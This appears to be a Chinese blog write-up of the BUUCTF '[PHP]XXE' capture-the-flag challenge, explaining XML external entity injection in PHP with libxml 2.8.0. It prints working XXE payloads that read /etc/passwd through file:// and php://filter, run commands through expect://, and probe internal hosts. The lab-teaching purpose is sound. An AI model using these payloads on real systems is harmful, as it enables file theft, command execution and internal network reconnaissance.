当前位置:   article > 正文

buuctf [PHP]XXE

buuctf [php]xxe

原理介绍

XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

环境

PHP 7.0.30
Libxml 2.8.0
在这里插入图片描述
Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞

漏洞危害

1.读取任意文件
file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php

<!DOCTYPE root[
        <!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&xxe;</name></root>
  • 1
  • 2
  • 3
  • 4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

2.执行系统命令

在特殊的配置环境下,PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令,payload如下

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

3.探测内网端口

借助漏洞实现内网探测,payload如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>
<name>&xxe;</name>
</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

解题
直接post访问simplexml_load_string.php 进行xxe利用
在这里插入图片描述
然后一顿百度说flag就在phpinfo里面 呆~
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/612731
推荐阅读
相关标签
  

闽ICP备14008679号